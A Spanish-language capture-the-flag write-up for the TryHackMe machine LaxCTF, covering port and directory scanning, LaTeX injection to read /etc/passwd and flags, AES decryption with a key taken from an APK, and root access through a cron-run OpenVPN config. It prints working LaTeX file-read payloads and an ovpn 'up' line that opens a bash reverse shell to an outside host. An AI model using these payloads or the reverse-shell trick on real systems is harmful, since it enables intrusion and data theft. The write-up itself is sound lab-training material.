This page looks best with JavaScript enabled

TryHackMe - LaxCTF

 ·  ☕ 6 min read  ·  ✍️ sckull

LaxCTF es una maquina de TryHackMe aqui encontrarás la solucion para obtener la flag user.txt y root.txt.

Informacion de la Maquina

Titulo LaxCTF
Info Try Harder!
Puntos 60
Dificultad Media
Maker stuxnet

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Nmap 7.80 scan initiated Wed Jul 29 19:15:28 2020 as: nmap -sV -o nmap_scan_mini lax.thm
Nmap scan report for lax.thm (10.10.90.68)
Host is up (0.27s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 29 19:16:41 2020 -- 1 IP address (1 host up) scanned in 72.59 seconds

HTTP

Encontramos una pagina web en el puerto 80.
image

RUSTBUSTER

Utilizamos rustbuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
root@upset:~/thm/lax# /opt/rustbuster/rustbuster dir -e php,html,txt -t 250 -u http://lax.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~

         _     _                 _         _           _        _                 _         _           _           _     
        /\ \  /\_\              / /\      /\ \        / /\     /\_\              / /\      /\ \        /\ \        /\ \   
       /  \ \/ / /         _   / /  \     \_\ \      / /  \   / / /         _   / /  \     \_\ \      /  \ \      /  \ \  
      / /\ \ \ \ \__      /\_\/ / /\ \__  /\__ \    / / /\ \  \ \ \__      /\_\/ / /\ \__  /\__ \    / /\ \ \    / /\ \ \ 
     / / /\ \_\ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \ \  \ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \_\  / / /\ \_\
    / / /_/ / /\__  /   / / /\ \ \ \/___/ / /\ \ \/ / /\ \_\ \  \__  /   / / /\ \ \ \/___/ / /\ \ \/ /_/_ \/_/ / / /_/ / /
   / / /__\/ / / / /   / / /  \ \ \    / / /  \/_/ / /\ \ \___\ / / /   / / /  \ \ \    / / /  \/_/ /____/\   / / /__\/ / 
  / / /_____/ / / /   / / _    \ \ \  / / /     / / /  \ \ \__// / /   / / _    \ \ \  / / /     / /\____\/  / / /_____/  
 / / /\ \ \  / / /___/ / /_/\__/ / / / / /     / / /____\_\ \ / / /___/ / /_/\__/ / / / / /     / / /______ / / /\ \ \    
/ / /  \ \ \/ / /____\/ /\ \/___/ / /_/ /     / / /__________/ / /____\/ /\ \/___/ / /_/ /     / / /_______/ / /  \ \ \   
\/_/    \_\/\/_________/  \_____\/  \_\/      \/_____________\/_________/  \_____\/  \_\/      \/__________\/_/    \_\/   


[?] Started at	: 2020-07-29 20:57:11

GET	200 OK				http://lax.thm/
GET     403 Forbidden                   http://lax.thm/.html
GET     403 Forbidden                   http://lax.thm/.php
GET     200 OK                          http://lax.thm/index.php
GET     301 Moved Permanently           http://lax.thm/pdf
						=> http://lax.thm/pdf/
GET     301 Moved Permanently           http://lax.thm/templates
						=> http://lax.thm/templates/
GET     301 Moved Permanently           http://lax.thm/assets
						=> http://lax.thm/assets/
GET     200 OK                          http://lax.thm/ajax.php
GET     301 Moved Permanently           http://lax.thm/javascript
						=> http://lax.thm/javascript/
GET     200 OK                          http://lax.thm/config.php
GET     200 OK                          http://lax.thm/flag.php
GET     301 Moved Permanently           http://lax.thm/compile
						=> http://lax.thm/compile/
GET     301 Moved Permanently           http://lax.thm/Google-Earth
						=> http://lax.thm/Google-Earth/
GET     200 OK                          http://lax.thm/
GET     403 Forbidden                   http://lax.thm/.php
GET     403 Forbidden                   http://lax.thm/.html
C^

LaTeX - EXPLOIT

En la pagina encontramos pdfTeX para generar PDF a partir de un template y texto ingresado, ingresamos un texto cualquiera y nos devuelve la direccion en donde se encuentra el PDF. Además la version de pdfTeX Version 3.14159265-2.6-1.40.16
image

En la direccion, el PDF con el texto ingresado.
image

Con el siguiente “payload” logramos obtener la primera linea del archivo /etc/passwd

1
2
3
4
5
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file

image

Intentamos utilizar el mismo payload que utilizamos en CHAOS - HTB pero al parecer tiene un blacklist parecido a este:

1
"(input|include|write18|immediate)"

Por lo que no es posible utilizar los “comandos” conocidos. Probamos diferentes combinaciones pero ninguna de estas combinaciones funcionó. Reallizamos una busqueda de un posible exploit en google y encontramos un PoC en Moodle < 1.6.9/1.7.7/1.8.9/1.9.5 - File Disclosure donde indica como es posible leer archivos a traves del siguiente payload:

1
"$$ \input{/etc/passwd} $$"

image

Logramos leer el archivo e incrustarlo en el PDF:
image

Además, dentro de la respuesta al enviar el PoC encontramos el contenido del archivo /etc/passwd con la informacion desordenada, donde logramos ver uno de los usuarios con su directorio principal y una carpeta no muy comun dentro de este archivo. Uno de los usuarios es Lax o king (Lax puede referirse al hostname) y su carpeta principal se encuentra en /home/king, el otro directorio es /opt/secret.
image

Utilizando el directorio principal del usuario que encontramos podemos leer nuestra flag user.txt.

1
"$$ \input{/home/king/user.txt} $$"

image

Hicimos lo mismo con /opt/secret pero a un principio no tenia nada en su interior, pero al inspeccionar el codigo fuente encontramos strings separadas por etiquetas HTML.
image

Utilizamos HTML-strip para poder eliminar las etiquetas y obtener el texto completo, además eliminamos todos los espacios existentes y caracteres al inicio y al final " y 1. Logramos leer lo que parece una encriptacion AES en modo CBC pero para obtener el texto necesitamos KEY e IV.

1
2
3
AES/CBC/128d2X+7fLZAq4as9qs7yGRdWANgbFVDaly2j2TjnKbeCq8bH3iR2XpyXBVjSCsrGLmTAhyffVoOgbhmVl5vDDMNvC6wJNfEZWa+MkF8HGQBcrE9pYSHag8jxC4vFwyINMOq53YR2GXUZFvA/qipjUStx3N69Wc7f3QpDVKRmGudEPhw0AMnnbICAvCNPoXIdyOK3I2zKM+za8z7+7V6Ut5gWCKQezKa+l91GNQWj1iUKU0rlzTmr49Fkcwlw01E0tr3DqQv8BV0V3eCs7mRnUCzdW4tnRH9J9eP7likT
[... REDACTED ...]
g9bmi7WpLL/+UMWNYMetCj52lDgLyisn9B+0/W0/Tfd7qn5SLILAVrMICIYIfVWWsELCTIYTuLEpdo+HVAfxfh8RB3pZ3cG+uzCe1xSMcx0JfSld1Hfa3hJK75zVWwcfu4EvVZ1ghlZwtm7Ls=

KING - USER

APK

Encontramos un apk en /Google-Earth/ y utilizamos jadx para leer el codigo fuente de la aplicacion, en donde encontramos funciones para encriptar y desencriptar, además encontramos el IV y KEY.

image

Utilizamos CyberChef para desencriptar el texto (eliminamos AES/CBC/128).
image

El texto esta codificado en brainfuck, utilizamos dcode.fr
image

Nuevamente utilizamos CyberChef para obtener lo que parecen credenciales del usuario king.
image

Logramos obtener una shell con el usuario King.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con pspy y encontramos que se ejecuta un cron, el problema es de que no sabemos cual es el contenido de dicho archivo (run.sh).
image

En el directorio principal de king encontramos un archivo ovpn por lo que agregamos una shell inversa al igual que en VAULT - HTB esperando a alguna conexion a nuestra maquina.

1
2
3
4
5
remote 10.10.90.68
dev tun
nobind
script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.1/1338 0>&1'"

Logramos obtener una shell con usuario root y nuestra flag root.txt.
image

Revisamos el archivo run.sh y es el que ejecutó el archivo ovpn.

1
openvpn /home/king/tryhackme.ovpn

Payloads - Latex Injection

Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

THM: LaxCTF